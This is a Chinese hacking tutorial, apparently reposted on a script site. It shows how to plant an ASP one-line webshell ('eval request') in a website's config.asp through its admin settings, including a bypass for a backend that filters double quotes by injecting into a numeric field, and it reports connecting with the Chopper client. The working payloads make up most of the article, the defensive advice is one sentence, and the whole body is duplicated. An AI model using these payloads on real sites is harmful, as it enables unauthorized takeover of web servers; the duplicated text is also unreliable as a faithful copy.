浅说双引号被过滤时一句话的插入与防范
发布时间:2011-04-01 23:40:07 作者:佚名
我要评论
昨日小刀刀在群里抛了一个问题,说后台插入一句话老是出错,群里的朋友出了很多主意,但是最后还是没搞定。后来这小子把问题抛给了我,昨天我就测试了一下。这里把情况介绍给大家。
一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。
话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。
网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是
webname=“test website”
对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个",同时要插入一句话,语句可以这样
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一个"是闭合前面的配置文件中的",%>就是闭合前一段脚本,之后插入一句话<%eval request("d"%>,现在要闭合原来的"和%>
所以加入<%s=",这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%" ",这样必将出错。
好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入

插入后,我们再点击“网站设置” ,出现错误

从这个错误,我们可以得到2个信息。
第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp
第二,网站名的变量为webname。
昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号",结合昨天的错误一看果然是,由于我们闭合前面双引号起"的那个双引号收"被过滤成单引号',所以就成了webname=" ',这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。
由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。
在配置文件中,我们还可以看到这样一些设置

就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括
num=5
num是整数型,不然就成字符了num="5"
那么我们的一句话就可以这样构建,如图

在公告数中我们插入5%><%eval request(webname)%><%
必须要有5,不然将会出错,在网站名中我们插入"open"
由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我们的一句话就相应为
eval request("open"),open为密码。
用菜刀成功连接

从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。
那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。
by daokers 2010.4.28深夜于Canton
话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。
网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是
webname=“test website”
对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个",同时要插入一句话,语句可以这样
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一个"是闭合前面的配置文件中的",%>就是闭合前一段脚本,之后插入一句话<%eval request("d"%>,现在要闭合原来的"和%>
所以加入<%s=",这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%" ",这样必将出错。
好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入

插入后,我们再点击“网站设置” ,出现错误

从这个错误,我们可以得到2个信息。
第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp
第二,网站名的变量为webname。
昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号",结合昨天的错误一看果然是,由于我们闭合前面双引号起"的那个双引号收"被过滤成单引号',所以就成了webname=" ',这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。
由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。
在配置文件中,我们还可以看到这样一些设置

就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括
num=5
num是整数型,不然就成字符了num="5"
那么我们的一句话就可以这样构建,如图

在公告数中我们插入5%><%eval request(webname)%><%
必须要有5,不然将会出错,在网站名中我们插入"open"
由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我们的一句话就相应为
eval request("open"),open为密码。
用菜刀成功连接

从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。
那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。
by daokers 2010.4.28深夜于Canton
相关文章
本文来介绍一下thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随2018-12-12记 FineUI 官方论坛discuz所遭受的一次真实网络攻击
这篇文章主要介绍了记 FineUI 官方论坛discuz所遭受的一次真实网络攻击,需要的朋友可以参考下2018-11-30- 这篇文章主要介绍了Linux 下多种反弹 shell 方法,需要的朋友可以参考下2017-09-06
- 这篇文章主要为大家介绍了基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击,需要的朋友可以参考下2017-05-20
- 这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下2017-05-19
- 这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学2017-05-19
- 对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,2017-04-29
- 我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类2016-12-27
- 这篇文章主要介绍了Python 爬虫使用动态切换ip防止封杀的相关资料,需要的朋友可以参考下2016-10-08
- 这篇文章主要介绍了使用爬虫采集网站时,解决被封IP的几种方法的相关资料,需要的朋友可以参考下2016-10-08



最新评论